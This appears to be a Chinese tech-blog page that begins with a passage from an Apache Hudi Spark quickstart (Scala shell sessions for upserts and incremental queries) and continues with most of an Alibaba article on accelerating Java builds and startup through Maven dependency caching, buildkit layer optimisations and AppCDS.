0.6100070562136587|0.0| | 41.06290929046368| 0.8192868687714224| 0.651058505660742|0.0| +------------------+-------------------+-------------------+---+ scala> spark.sql("select _hoodie_commit_time, _hoodie_record_key, _hoodie_partition_path, rider, driver, fare from hudi_ro_table").show() +-------------------+--------------------+----------------------+---------+----------+------------------+ |_hoodie_commit_time| _hoodie_record_key|_hoodie_partition_path| rider| driver| fare| +-------------------+--------------------+----------------------+---------+----------+------------------+ | 20200331152807|264170aa-dd3f-4a7...| americas/united_s...|rider-213|driver-213| 93.56018115236618| | 20200331152807|0e170de4-7eda-4ab...| americas/united_s...|rider-213|driver-213| 64.27696295884016| | 20200331152807|fb06d140-cd00-413...| americas/united_s...|rider-213|driver-213| 27.79478688582596| | 20200331152807|eb1d495c-57b0-4b3...| americas/united_s...|rider-213|driver-213| 33.92216483948643| | 20200331152807|2b3380b7-2216-4ca...| americas/united_s...|rider-213|driver-213|19.179139106643607| | 20200331152807|81a9b76c-655b-452...| americas/brazil/s...|rider-213|driver-213|34.158284716382845| | 20200331152807|d24e8cb8-69fd-4cc...| americas/brazil/s...|rider-213|driver-213| 66.62084366450246| | 20200331152807|0d612dd2-5f10-429...| americas/brazil/s...|rider-213|driver-213| 43.4923811219014| | 20200331152807|a6a7e7ed-3559-4ee...| asia/india/chennai|rider-213|driver-213|17.851135255091155| | 20200331152807|824ee8d5-6f1f-4d5...| asia/india/chennai|rider-213|driver-213| 41.06290929046368| +-------------------+--------------------+----------------------+---------+----------+------------------+该查询提供已提取数据的读取优化视图。由于我们的分区路径(region/country/city)是嵌套的3个级别 从基本路径开始,我们使用了load(basePath + "/*/*/*/*")。 有关支持的所有存储类型和视图的更多信息,请参考存储类型和视图。8.4.4、更新数据这类似于插入新数据。使用数据生成器生成对现有行程的更新,加载到DataFrame中并将DataFrame写入hudi数据集。scala> val updates = convertToStringList(dataGen.generateUpdates(10)) updates: java.util.List[String] = [{"ts": 0.0, "uuid": "0e170de4-7eda-4ab5-8c06-e351e8b23e3d", "rider": "rider-284", "driver": "driver-284", "begin_lat": 0.7340133901254792, "begin_lon": 0.5142184937933181, "en d_lat": 0.7814655558162802, "end_lon": 0.6592596683641996, "fare": 49.527694252432056, "partitionpath": "americas/united_states/san_francisco"}, {"ts": 0.0, "uuid": "81a9b76c-655b-4527-85fc-7696bdeab4fd", "rider": "rider-284", "driver": "driver-284", "begin_lat": 0.1593867607188556, "begin_lon": 0.010872312870502165, "end_lat": 0.9808530350038475, "end_lon": 0.7963756520507014, "fare": 29.47661370147079, "partitionpath": "americas/brazil/sao_paulo"}, {"ts": 0.0, "uuid": "81a9b76c-655b-4527-85fc-7696bdeab4fd", "rider": "rider-284", "driver": "driver-284", "begin_lat": 0.71801964677...scala> val df = spark.read.json(spark.sparkContext.parallelize(updates, 2)); warning: there was one deprecation warning; re-run with -deprecation for details df: org.apache.spark.sql.DataFrame = [begin_lat: double, begin_lon: double ... 8 more fields] scala> df.write.format("org.apache.hudi"). | options(getQuickstartWriteConfigs). | option(PRECOMBINE_FIELD_OPT_KEY, "ts"). | option(RECORDKEY_FIELD_OPT_KEY, "uuid"). | option(PARTITIONPATH_FIELD_OPT_KEY, "partitionpath"). | option(TABLE_NAME, tableName). | mode(Append). | save(basePath); 20/03/31 15:32:27 WARN hudi.DefaultSource: Snapshot view not supported yet via data source, for MERGE_ON_READ tables. Please query the Hive table registered using Spark SQL.注意,保存模式现在为追加。通常,除非您是第一次尝试创建数据集,否则请始终使用追加模式。 查询现在再次查询数据将显示更新的行程。每个写操作都会生成一个新的由时间戳表示的commit 。在之前提交的相同的_hoodie_record_key中寻找_hoodie_commit_time, rider, driver字段变更。8.4.5、增量查询Hudi还提供了获取给定提交时间戳以来已更改的记录流的功能。 这可以通过使用Hudi的增量视图并提供所需更改的开始时间来实现。 如果我们需要给定提交之后的所有更改(这是常见的情况),则无需指定结束时间。scala> // reload data scala> spark. | read. | format("org.apache.hudi"). | load(basePath + "/*/*/*/*"). | createOrReplaceTempView("hudi_ro_table") 20/03/31 15:33:55 WARN hudi.DefaultSource: Snapshot view not supported yet via data source, for MERGE_ON_READ tables. Please query the Hive table registered using Spark SQL. scala> scala> val commits = spark.sql("select distinct(_hoodie_commit_time) as commitTime from hudi_ro_table order by commitTime").map(k => k.getString(0)).take(50) commits: Array[String] = Array(20200331152807, 20200331153224) scala> val beginTime = commits(commits.length - 2) // commit time we are interested in beginTime: String = 20200331152807 scala> // 增量查询数据 scala> val incViewDF = spark. | read. | format("org.apache.hudi"). | option(VIEW_TYPE_OPT_KEY, VIEW_TYPE_INCREMENTAL_OPT_VAL). | option(BEGIN_INSTANTTIME_OPT_KEY, beginTime). | load(basePath); 20/03/31 15:34:40 WARN hudi.DefaultSource: hoodie.datasource.view.type is deprecated and will be removed in a later release. Please use hoodie.datasource.query.type incViewDF: org.apache.spark.sql.DataFrame = [_hoodie_commit_time: string, _hoodie_commit_seqno: string ... 13 more fields] scala> incViewDF.registerTempTable("hudi_incr_table") warning: there was one deprecation warning; re-run with -deprecation for details scala> spark.sql("select `_hoodie_commit_time`, fare, begin_lon, begin_lat, ts from hudi_incr_table where fare > 20.0").show() +-------------------+------------------+--------------------+-------------------+---+ |_hoodie_commit_time| fare| begin_lon| begin_lat| ts| +-------------------+------------------+--------------------+-------------------+---+ | 20200331153224|49.527694252432056| 0.5142184937933181| 0.7340133901254792|0.0| | 20200331153224| 98.3428192817987| 0.3349917833248327| 0.4777395067707303|0.0| | 20200331153224| 90.9053809533154| 0.19949323322922063|0.18294079059016366|0.0| | 20200331153224| 90.25710109008239| 0.4006983139989222|0.08528650347654165|0.0| | 20200331153224| 29.47661370147079|0.010872312870502165| 0.1593867607188556|0.0| | 20200331153224| 63.72504913279929| 0.888493603696927| 0.6570857443423376|0.0| +-------------------+------------------+--------------------+-------------------+---+ 这将提供在开始时间提交之后发生的所有更改,其中包含票价大于20.0的过滤器。关于此功能的独特之处在于,它现在使您可以在批量数据上创作流式管道。8.4.6、特定时间点查询让我们看一下如何查询特定时间的数据。可以通过将结束时间指向特定的提交时间,将开始时间指向”000”(表示最早的提交时间)来表示特定时间。scala> val beginTime = "000" // Represents all commits > this time. beginTime: String = 000 scala> val endTime = commits(commits.length - 2) // commit time we are interested in endTime: String = 20200331152807 scala> scala> // 增量查询数据 scala> val incViewDF = spark.read.format("org.apache.hudi"). | option(VIEW_TYPE_OPT_KEY, VIEW_TYPE_INCREMENTAL_OPT_VAL). | option(BEGIN_INSTANTTIME_OPT_KEY, beginTime). | option(END_INSTANTTIME_OPT_KEY, endTime). | load(basePath); 20/03/31 15:36:00 WARN hudi.DefaultSource: hoodie.datasource.view.type is deprecated and will be removed in a later release. Please use hoodie.datasource.query.type incViewDF: org.apache.spark.sql.DataFrame = [_hoodie_commit_time: string, _hoodie_commit_seqno: string ... 13 more fields] scala> incViewDF.registerTempTable("hudi_incr_table") warning: there was one deprecation warning; re-run with -deprecation for details scala> spark.sql("select `_hoodie_commit_time`, fare, begin_lon, begin_lat, ts from hudi_incr_table where fare > 20.0").show() +-------------------+------------------+-------------------+-------------------+---+ |_hoodie_commit_time| fare| begin_lon| begin_lat| ts| +-------------------+------------------+-------------------+-------------------+---+ | 20200331152807| 93.56018115236618|0.14285051259466197|0.21624150367601136|0.0| | 20200331152807| 64.27696295884016| 0.4923479652912024| 0.5731835407930634|0.0| | 20200331152807| 27.79478688582596| 0.6273212202489661|0.11488393157088261|0.0| | 20200331152807| 33.92216483948643| 0.9694586417848392| 0.1856488085068272|0.0| | 20200331152807|34.158284716382845|0.46157858450465483| 0.4726905879569653|0.0| | 20200331152807| 66.62084366450246|0.03844104444445928| 0.0750588760043035|0.0| | 20200331152807| 43.4923811219014| 0.8779402295427752| 0.6100070562136587|0.0| | 20200331152807| 41.06290929046368| 0.8192868687714224| 0.651058505660742|0.0| +-------------------+------------------+-------------------+-------------------+---+
文章
SQL  ·  消息中间件  ·  分布式计算  ·  Hadoop  ·  Java  ·  Linux  ·  Scala  ·  Maven  ·  HIVE  ·  Spark
2023-03-24
java应用提速(速度与激情)
作者 | 阿里巴巴CTO技术来源 | 阿里开发者公众号联合作者:道延 微波 沈陵 梁希 大熊 断岭 北纬 未宇 岱泽 浮图一、速度与效率与激情什么是速度?速度就是快,快有很多种。有小李飞刀的快,也有闪电侠的快,当然还有周星星的快:(船家)"我是出了名够快"。(周星星)“这船好像在下沉?” (船家)“是呀!沉得快嘛”。并不是任何事情越快越好,而是那些有价值有意义的事才越快越好。对于这些越快越好的事来说,快的表现是速度,而实质上是提效。今天我们要讲的java应用的研发效率,即如何加快我们的java研发速度,提高我们的研发效率。提效的方式也有很多种。但可以分成二大类。我们使用一些工具与平台进行应用研发与交付。当一小部分低效应用的用户找工具与平台负责人时,负责人建议提效的方案是:你看看其他应用都这么快,说明我们平台没问题。可能是你们的应用架构的问题,也可能是你们的应用中祖传代码太多了,要自己好好重构下。这是大家最常见的第一类提效方式。而今天我们要讲的是第二类,是从工具与平台方面进行升级。即通过基础研发设施与工具的微创新改进,实现研发提效,而用户要做的可能就是换个工具的版本号。买了一辆再好的车,带来的只是速度。而自己不断研究与改造发动机,让车子越来越快,在带来不断突破的“速度”的同时还带来了“激情”。因为这是一个不断用自己双手创造奇迹的过程。所以我们今天要讲的不是买一辆好车,而是讲如何改造“发动机”。在阿里集团,有上万多个应用,大部分应用都是java应用,95%应用的构建编译时间是5分钟以上,镜像构建时间是2分钟以上,启动时间是8分钟以上,这样意味着研发同学的一次改动,大部分需要等待15分钟左右,才能进行业务验证。而且随着业务迭代和时间的推移,应用的整体编译构建、启动速度也越来越慢,发布、扩容、混部拉起等等一系列动作都被拖慢,极大的影响了研发和运维整体效能,应用提速刻不容缓。我们将阐述通过基础设施与工具的改进,实现从构建到启动全方面大幅提速的实践和理论,相信能帮助大家。二、maven构建提速2.1 现状maven其实并不是拖拉机。相对于ant时代来说,maven是一辆大奔。但随着业务越来越复杂,我们为业务提供服务的软件也越来越复杂。虽然我们在提倡要降低软件复杂度,但对于复杂的业务来说,降低了复杂度的软件还是复杂的。而maven却还是几年的版本。在2012年推出maven3.0.0以来,直到现在的2022年,正好十年,但maven最新版本还是3系列3.8.6。所以在十年后的今天,站在复杂软件面前,maven变成了一辆拖拉机。2.2 解决方案在这十年,虽然maven还是停留在主版本号是3,但当今业界也不断出现了优秀的构建工具,如gradle,bazel。但因各工具的生态不同,同时工具间迁移有成本与风险,所以目前在java服务端应用仍是以maven构建为主。所以我们在apache-maven的基础上,参照gradle,bazel等其它工具的思路,进行了优化,并以“amaven”命名。因为amaven完全兼容apache-maven,所支持的命令与参数都兼容,所以对我们研发同学来说,只要修改一个maven的版本号。2.3 效果从目前试验来看,对于mvn build耗时在3分钟以上的应用有效果。对于典型应用从2325秒降到188秒,提升了10倍多。我们再来看持续了一个时间段后的总体效果,典型应用使用amaven后,构建耗时p95的时间有较明显下降,对比使用前后二个月的构建耗时降了50%左右。2.4 原理如果说发动机是一辆车的灵魂,那依赖管理就是maven的灵魂。因为maven就是为了系统化的管理依赖而产生的工具。使用过maven的同学都清楚,我们将依赖写在pom.xml中,而这依赖又定义了自己的依赖在自己的pom.xml。通过pom文件的层次化来管理依赖的确让我们方便很多。一次典型的maven构建过程,会是这样:从上图可以看出,maven构建主要有二个阶段,而第一阶段是第二阶段的基础,基本上大部分的插件都会使用第一阶段产生的依赖树:解析应用的pom及依赖的pom,生成依赖树;在解析过程中,一般还会从maven仓库下载新增的依赖或更新了的SNAPSHOT包。执行各maven插件。我们也通过分析实际的构建日志,发现大于3分钟的maven构建,瓶颈都在“生成依赖树”阶段。而“生成依赖树”阶段慢的根本原因是一个module配置的依赖太多太复杂,它表现为:依赖太多,则要从maven仓库下载的可能性越大。依赖太复杂,则依赖树解析过程中递归次数越多。在amaven中通过优化依赖分析算法,与提升下载依赖速度来提升依赖分析的性能。除此之外,性能优化的经典思想是缓存增量,与分布式并发,我们也遵循这个思想作了优化。在不断优化过程中,amaven也不断地C/S化了,即amaven不再是一个client,而有了server端,同时将部分复杂的计算从client端移到了server端。而当client越做越薄,server端的功能越来越强大时,server的计算所需要的资源也会越来越多,将这些资源用弹性伸缩来解决,慢慢地amaven云化了。从单个client到C/S化再到云化,这也是一个工具不断进化的趋势所在。2.4.1 依赖树2.4.1.1 依赖树缓存既然依赖树生成慢,那我们就将这依赖树缓存起来。缓存后,这依赖树可以不用重复生成,而且可以不同人,不同的机器的编译进行共享。使用依赖树缓存后,一次典型的mvn构建的过程如下:从上图中可以看到amaven-server,它主要负责依赖树缓存的读写性能,保障存储可靠性,及保证缓存的正确性等。2.4.1.2 依赖树生成算法优化虽在日常研发过程中,修改pom文件的概率较修改应用java低,但还是有一定概率;同时当pom中依赖了较多SNAPSHOT且SNAPSHOT有更新时,依赖树缓存会失效掉。所以还是会有不少的依赖树重新生成的场景。所以还是有必要来优化依赖树生成算法。在maven2,及maven3版本中,包括最新的maven3.8.5中,maven是以深度优先遍历(DF)来生成依赖树的(在社区版本中,目前master上已经支持BF,但还未发release版本[1]。在遍历过程中通过debug与打日志发现有很多相同的gav或相同的ga会被重复分析很多次,甚至数万次。树的经典遍历算法主要有二种:深度优先算法(DF)及 广度优先算法(BF),BF与DF的效率其实差不多的,但当结合maven的版本仲裁机制考虑会发现有些差异。我们来看看maven的仲裁机制,无论是maven2还是maven3,最主要的仲裁原则就是depth。相同ga或相同gav,谁更deeper,谁就skip,当然仲裁的因素还有scope,profile等。结合depth的仲裁机制,按层遍历(BF)会更优,也更好理解。如下图,如按层来遍历,则红色的二个D1,D2就会skip掉,不会重复解析。(注意,实际场景是C的D1还是会被解析,因为它更左)。算法优化的思路是:“提前修枝”。之前maven3的逻辑是先生成依赖树再版本仲裁,而优化后是边生成依赖树边仲裁。就好比一个树苗,要边生长边修枝,而如果等它长成了参天大树后则修枝成本更大。2.4.1.3 依赖下载优化maven在编译过程中,会解析pom,然后不断下载直接依赖与间接依赖到本地。一般本地目录是.m2。对一线研发来说,本地的.m2不太会去删除,所以除非有大的重构,每次编译只有少量的依赖会下载。但对于CICD平台来说,因为编译机一般不是独占的,而是多应用间共享的,所以为了应用间不相互影响,每次编译后可能会删除掉.m2目录。这样,在CICD平台要考虑.m2的隔离,及当.m2清理后要下载大量依赖包的场景。而依赖包的下载,是需要经过网络,所以当一次编译,如要下载上千个依赖,那构建耗时大部分是在下载包,即瓶颈是下载。1) 增大下载并发数依赖包是从maven仓库下载。maven3.5.0在编译时默认是启了5个线程下载。我们可以通过aether.connector.basic.threads来设置更多的线程如20个来下载,但这要求maven仓库要能撑得住翻倍的并发流量。所以我们对maven仓库进行了架构升级,根据包不同的文件大小区间使用了本地硬盘缓存,redis缓存等包文件多级存储来加快包的下载。下表是对热点应用A用不同的下载线程数来下载5000多个依赖得到的下载耗时结果比较:在amaven中我们加了对下载耗时的统计报告,包括下载多少个依赖,下载线程是多少,下载耗时是多少,方便大家进行性能分析。如下图:同时为了减少网络开销,我们还采用了在编译机本地建立了mirror机制。2) 本地mirror有些应用有些复杂,它会在maven构建的仓库配置文件settings.xml(或pom文件)中指定下载多个仓库。因为这应用的要下载的依赖的确来自多个仓库.当指定多个仓库时,下载一个依赖包,会依次从这多个仓库查找并下载。虽然maven的settings.xml语法支持多个仓库,但localRepository却只能指定一个。所以要看下docker是否支持将多个目录volume到同一个容器中的目录,但初步看了docker官网文档,并不支持。为解决按仓库隔离.m2,且应用依赖多个仓库时的问题,我们现在通过对amaven的优化来解决。(架构5.0:repo_mirror)当amaven执行mvn build时,当一个依赖包不在本地.m2目录,而要下载时,会先到repo_mirror中对应的仓库中找,如找到,则从repo_mirror中对应的仓库中将包直接复制到.m2,否则就只能到远程仓库下载,下载到.m2后,会同时将包复制到repo_mirror中对应的仓库中。通过repo_mirror可以实现同一个构建node上只会下载一次同一个仓库的同一个文件。2.4.1.4 SNAPSHOT版本号缓存其实在amavenServer的缓存中,除了依赖树,还缓存了SNAPSHOT的版本号。我们的应用会依赖一些SNAPSHOT包,同时当我们在mvn构建时加上-U就会去检测这些SNAPSHOT的更新.而在apache-maven中检测SNAPSHOT需要多次请求maven仓库,会有一些网络开销。现在我们结合maven仓库作了优化,从而让多次请求maven仓库,换成了一次cache服务直接拿到SNAPSHOT的最新版本。2.4.2 增量增量是与缓存息息相关的,增量的实现就是用缓存。maven的开放性是通过插件机制实现的,每个插件实现具体的功能,是一个函数。当输入不变,则输出不变,即复用输出,而将每次每个函数执行后的输出缓存起来。上面讲的依赖树缓存,也是maven本身(非插件)的一种增量方式。要实现增量的关键是定义好一个函数的输入与输出,即要保证定义好的输入不变时,定义好的输出肯定不变。每个插件自己是清楚输入与输出是什么的,所以插件的增量不是由amaven统一实现,而是amaven提供了一个机制。如一个插件按约定定义好了输入与输出,则amaven在执行前会检测输入是否变化,如没变化,则直接跳过插件的执行,而从缓存中取到输出结果。增量的效果是明显的,如依赖树缓存与算法的优化能让maven构建从10分钟降到2分钟,那增量则可以将构建耗时从分钟级降到秒级。2.4.3 daemon与分布式daemon是为了进一步达到10秒内构建的实现途径。maven也是java程序,运行时要将字节码转成机器码,而这转化有时间开销。虽这开销只有几秒时间,但对一个mvn构建只要15秒的应用来说,所占比例也有10%多。为降低这时间开销,可以用JIT直接将maven程序编译成机器码,同时mvn在构建完成后,常驻进程,当有新构建任务来时,直接调用mvn进程。一般,一个maven应用编译不会超过10分钟,所以,看上去没必要将构建任务拆成子任务,再调度到不同的机器上执行分布式构建。因为分布式调度有时间开销,这开销可能比直接在本机上编译耗时更大,即得不偿失。所以分布式构建的使用场景是大库。为了简化版本管理,将二进制依赖转成源码依赖,将依赖较密切的源码放在一个代码仓库中,就是大库。当一个大库有成千上万个module时,则非用分布式构建不可了。使用分布式构建,可以将大库几个小时的构建降到几分钟级别。三、本地idea环境提速3.1 从盲侠说起曾经有有一位盲人叫座头市,他双目失明,但却是一位顶尖的剑客,江湖上称他为“盲侠”。在我们的一线研发同学中,也有不少盲侠。这些同学在本地进行写代码时,是盲写。他们写的代码尽管全都显示红色警示,写的单测尽管在本地没跑过,但还是照写不误。我们一般的开发流程是,接到一个需求,从主干拉一个分支,再将本地的代码切到这新分支,再刷新IDEA。但有些分支在刷新后,尽管等了30分钟,尽管自己电脑的CPU沙沙直响,热的冒泡,但IDEA的工作区还是有很多红线。这些红线逼我们不少同学走上了“盲侠”之路。一个maven工程的java应用,IDEA的导入也是使用了maven的依赖分析。而我们分析与实际观测,一个需求的开发,即在一个分支上的开发,在本地使用maven的次数绝对比在CICD平台上使用的次数多。所以本地的maven的性能更需要提升,更需要改造。因为它能带来更大的人效。3.2 解决方案amaven要结合在本地的IDEA中使用也很方便。1.下载amaven最新版本。2.在本地解压,如目录 /Users/userName/soft/amaven-3.5.0。3.设置Maven home path:4.重启idea后,点import project.最后我们看看效果,对热点应用进行import project测试,用maven要20分钟左右,而用amaven3.5.0在3分钟左右,在命中缓存情况下最佳能到1分钟内。简单四步后,我们就不用再当“盲侠”了,在本地可以流畅地编码与跑单元测试。除了在IDEA中使用amaven的依赖分析能力外,在本地通过命令行来运行mvn compile或dependency:tree,也完全兼容apache-maven的。3.3 原理IDEA是如何调用maven的依赖分析方法的?在IDEA的源码文件[2]中979行,调用了dependencyResolver.resolve(resolution)方法:dependencyResolver就是通过maven home path指定的maven目录中的DefaultProjectDependenciesResolver.java。而DefaultProjectDependenciesResolver.resolve()方法就是依赖分析的入口。IDEA主要用了maven的依赖分析的能力,在 “maven构建提速”这一小节中, 我们已经讲了一些amaven加速的原理,其中依赖算法从DF换到BF,依赖下载优化,整个依赖树缓存,SNAPSHOT缓存这些特性都是与依赖分析过程相关,所以都能用在IDEA提速上,而依赖仓库mirror等因为在我们自己的本地一般不会删除.m2,所以不会有所体现。amaven可以在本地结合IDEA使用,也可以在CICD平台中使用,只是它们调用maven的方法的方式不同或入口不同而已。但对于maven协议来说“灵魂”的还是依赖管理与依赖分析。四、docker构建提速4.1 背景自从阿里巴巴集团容器化后,开发人员经常被镜像构建速度困扰,每天要发布很多次的应用体感尤其不好。我们几年前已经按最佳实践推荐每个应用要把镜像拆分成基础镜像和应用镜像,但是高频修改的应用镜像的构建速度依然不尽如人意。为了跟上主流技术的发展,我们计划把CICD平台的构建工具升级到moby-buildkit,docker的最新版本也计划把构建切换到moby- buildkit了,这个也是业界的趋势。同时在 buildkit基础上我们作了一些增强。4.2 增强4.2.1 新语法SYNC我们先用增量的思想,相对于COPY增加了一个新语法SYNC。我们分析java应用高频构建部分的镜像构建场景,高频情况下只会执行Dockerfile中的一个指令:COPY appName.tgz /home/appName/target/appName.tgz发现大多数情况下java应用每次构建虽然会生成一个新的app.war目录,但是里面的大部分jar文件都是从maven等仓库下载的,它们的创建和修改时间虽然会变化但是内容的都是没有变化的。对于一个1G大小的war,每次发布变化的文件平均也就三十多个,大小加起来2-3 M,但是由于这个appName.war目录是全新生成的,这个copy指令每次都需要全新执行,如果全部拷贝,对于稍微大点的应用这一层就占有1G大小的空间,镜像的copy push pull都需要处理很多重复的内容,消耗无谓的时间和空间。如果我们能做到定制dockerfile中的copy指令,拷贝时像Linux上面的rsync一样只做增量copy的话,构建速度、上传速度、增量下载速度、存储空间都能得到很好的优化。因为moby-buildkit的代码架构分层比较好,我们基于dockerfile前端定制了内部的SYNC指令。我们扫描到SYNC语法时,会在前端生成原生的两个指令,一个是从基线镜像中link 拷贝原来那个目录(COPY),另一个是把两个目录做比较(DIFF),把有变化的文件和删除的文件在新的一层上面生效,这样在基线没有变化的情况下,就做到了高频构建每次只拷贝上传下载几十个文件仅几兆内容的这一层。而用户要修改的,只是将原来的COPY语法修改成SYNC就行了。如将:COPY appName.tgz /home/admin/appName/target/appName.tgz修改为:SYNC appName.dir /home/admin/appName/target/appName.war我们再来看看SYNC的效果。集团最核心的热点应用A切换到moby-buildkit以及我们的sync指令后90分位镜像构建速度已经从140秒左右降低到80秒左右:4.2.2 none-gzip实现为了让moby- buildkit能在CICD平台上面用起来,首先要把none-gzip支持起来。这个需求在 docker 社区也有很多讨论[3],内部环境网络速度不是问题,如果有gzip会导致90%的时间都花在压缩和解压缩上面,构建和下载时间会加倍,发布环境拉镜像的时候主机上一些CPU也会被gzip解压打满,影响同主机其它容器的运行。虽然none-gzip后,CPU不会高,但会让上传下载等传输过程变慢,因为文件不压缩变大了。但相对于CPU资源来说,内网情况下带宽资源不是瓶颈。只需要在上传镜像层时按配置跳过 gzip 逻辑去掉,并把镜像层的MediaType从 application/vnd.docker.image.rootfs.diff.tar.gzip 改成application/vnd.docker.image.rootfs.diff.tar 就可以在内网环境下充分提速了。4.2.3 单层内并发下载在CICD过程中,即使是同一个应用的构建,也可能会被调度到不同的编译机上。即使构建调度有一定的亲和性。为了让新构建机,或应用换构建机后能快速拉取到基础镜像,由于我们以前的最佳实践是要求用户把镜像分成两个(基础镜像与应用镜像),而基础镜像一般单层就有超过1G大小的,多层并发拉取对于单层特别大的镜像已经没有效果。所以我们在“层间并发拉取”的基础上,还增加了“层内并发拉取”,让拉镜像的速度提升了4倍左右。当然实现这层内并发下载是有前提的,即镜像的存储需要支持分段下载。因为我们公司是用了阿里云的OSS来存储docker镜像,它支持分段下载或多线程下载。4.2.4 无中心P2P下载现在都是用containerd中的content store来存储镜像原始数据,也就是说每个节点本身就存储了一个镜像的所有原始数据manifest和layers。所以如果多个相邻的节点,都需要拉镜像的话,可以先看到中心目录服务器上查看邻居节点上面是否已经有这个镜像了,如果有的话就可以直接从邻居节点拉这个镜像。而不需要走镜像仓库去取镜像layer,而manifest数据还必须从仓库获取是为了防止镜像名对应的数据已经发生了变化了,只要取到manifest后其它的layer数据都可以从相邻的节点获取,每个节点可以只在每一层下载后的五分钟内(时间可配置)提供共享服务,这样大概率还能用到本地page cache,而不用真正读磁盘。中心OSS服务总共只能提供最多20G的带宽,从历史拉镜像数据能看到每个节点的下载速度都很难超过30M,但是我们现在每个节点都是50G网络,节点相互之间共享镜像层数据可以充分利用到节点本地的50G网络带宽,当然为了不影响其它服务,我们把镜像共享的带宽控制在200M以下。4.2.5 镜像ONBUILD支持社区的 moby-buidkit 已经支持了新的 schema2 格式的镜像的 ONBUILD 了,但是集团内部还有很多应用 FROM 的基础镜像是 schema1 格式的基础镜像,这些基础镜像中很多都很巧妙的用了一些 ONBUILD 指令来减少 FROM 它的 Dockerfile中的公共构建指令。如果不能解析 schema1 格式的镜像,这部分应用的构建虽然会成功,但是其实很多应该执行的指令并没有执行,对于这个能力缺失,我们在内部补上的同时也把这些修改回馈给了社区[4]。五、JDK提速5.1 AppCDS5.1.1 现状CDS(Class Data Sharing)[5]在Oracle JDK1.5被首次引入,在Oracle JDK8u40[6]中引入了AppCDS,支持JDK以外的类 ,但是作为商业特性提供。随后Oracle将AppCDS贡献给了社区,在JDK10中CDS逐渐完善,也支持了用户自定义类加载器(又称AppCDS v2[7])。目前CDS在阿里的落地情况:热点应用A使用CDS减少了10秒启动时间云产品SAE和FC在使用Dragonwell11时开启CDS、AOT等特性加速启动经过十年的发展,CDS已经发展为一项成熟的技术。但是很容易令人不解的是CDS不管在阿里的业务还是业界(即便是AWS Lambda)都没能被大规模使用。关键原因有两个:5.1.1.1 AppCDS在实践中效果不明显jsa中存储的InstanceKlass是对class文件解析的产物。对于boot classloader(加载jre/lib/rt.jar下面的类的类加载器)和system(app) 类加载器(加载-classpath下面的类的类加载器),CDS有内部机制可以跳过对class文件的读取,仅仅通过类名在jsa文件中匹配对应的数据结构。Java语言还提供用户自定义类加载器(custom class loader)的机制,用户通过Override自己的 Classloader.loadClass() 查找类,AppCDS 在为customer class loade时加载类是需要经过如下步骤:调用用户定义的Classloader.loadClass(),拿到class byte stream计算class byte stream的checksum,与jsa中的同类名结构的checksum比较如果匹配成功则返回jsa中的InstanceKlass,否则继续使用slow path解析class文件5.1.1.2 工程实践不友好使用AppCDS需要如下步骤:针对当前版本在生产环境启动应用,收集profiling信息基于profiling信息生成jsa(java shared archive) dump将jsa文件和应用本身打包在一起,发布到生产环境由于这种trace-replay模式的复杂性,在SAE和FC云产品的落地都是通过发布流程的定制以及开发复杂的命令行工具来解决的。5.1.2 解决方案针对上述的问题1,在热点应用A上CDS配合JarIndex或者使用编译器团队开发的EagerAppCDS特性(原理见5.1.3.1)都能让CDS发挥最佳效果。经验证,在热点应用A已经使用JarIndex做优化的前提下进一步使用EagerAppCDS依然可以获得15秒左右的启动加速效果。5.1.3 原理面向对象语言将对象(数据)和方法(对象上的操作)绑定到了一起,来提供更强的封装性和多态。这些特性都依赖对象头中的类型信息来实现,Java、Python语言都是如此。Java对象在内存中的layout如下:mark表示了对象的状态,包括是否被加锁、GC年龄等等。而Klass*指向了描述对象类型的数据结构 InstanceKlass :基于这个结构,诸如 o instanceof String 这样的表达式就可以有足够的信息判断了。要注意的是InstanceKlass结构比较复杂,包含了类的所有方法、field等等,方法又包含了字节码等信息。这个数据结构是通过运行时解析class文件获得的,为了保证安全性,解析class时还需要校验字节码的合法性(非通过javac产生的方法字节码很容易引起jvm crash)。CDS可以将这个解析、校验产生的数据结构存储(dump)到文件,在下一次运行时重复使用。这个dump产物叫做Shared Archive,以jsa后缀(java shared archive)。为了减少CDS读取jsa dump的开销,避免将数据反序列化到InstanceKlass的开销,jsa文件中的存储layout和InstanceKlass对象完全一样,这样在使用jsa数据时,只需要将jsa文件映射到内存,并且让对象头中的类型指针指向这块内存地址即可,十分高效。5.1.3.1 Alibaba Dragonwell对AppCDS的优化上述AppCDS for custom classloader的加载流程更加复杂的原因是JVM通过(classloader, className)二元组来唯一确定一个类。对于BootClassloader、AppClassloader在每次运行都是唯一的,因此可以在多次运行之间确定唯一的身份对于customClassloader除了类型,并没有明显的唯一标识。AppCDS因此无法在加载类阶段通过classloader对象和类型去shared archive定位到需要的InstanceKlass条目。Dragonwell提供的解决方法是让用户为customClassloader标识唯一的identifier,加载相同类的classloader在多次运行间保持唯一的identifier。并且扩展了shared archive,记录用户定义的classloader identifier字段,这样AppCDS便可以在运行时通过(identifier, className)二元组来迅速定位到shared archive中的类条目。从而让custom classloader下的类加载能和buildin class一样快。在常见的微服务workload下,我们可以看到Dragonwell优化后的AppCDS将基础的AppCDS的加速效果从10%提升到了40%。5.2 启动profiling工具5.2.1 现状目前有很多Java性能剖析工具,但专门用于Java启动过程分析的还没有。不过有些现有的工具,可以间接用于启动过程分析,由于不是专门的工具,每个都存在这样那样的不足。比如async-profiler,其强项是适合诊断CPU热点、墙钟热点、内存分配热点、JVM内锁争抢等场景,展现形式是火焰图。可以在应用刚刚启动后,马上开启aync-profiler,持续剖析直到应用启动完成。async-profiler的CPU热点和墙钟热点能力对于分析启动过程有很大帮助,可以找到占用CPU较多的方法 ,进而指导启动加速的优化。async-profiler有2个主要缺点,第1个是展现形式较单一,关联分析能力较弱,比如无法选择特定时间区间,也无法支持选中多线程场景下的火焰图聚合等。第2个是采集的数据种类较少,看不到类加载、GC、文件IO、SocketIO、编译、VM Operation等方面的数据,没法做精细的分析。再比如arthas,arthas的火焰图底层也是利用async-profiler,所以async-profiler存在的问题也无法回避。最后我们自然会想到OpenJDK的JDK Flight Recorder,简称JFR。AJDK8.5.10+和AJDK11支持JFR。JFR是JVM内置的诊断工具,类似飞机上的黑匣子,可以低开销的记录很多关键数据,存储到特定格式的JFR文件中,用这些数据可以很方便的还原应用启动过程,从而指导启动优化。JFR的缺点是有一定的使用门槛,需要对虚拟机有一定的理解,高级配置也较复杂,同时还需要搭配桌面软件Java Mission Control才能解析和阅读JFR文件。面对上述问题,JVM工具团队进行了深入的思考,并逐步迭代开发出了针对启动过程分析的技术产品。5.2.2 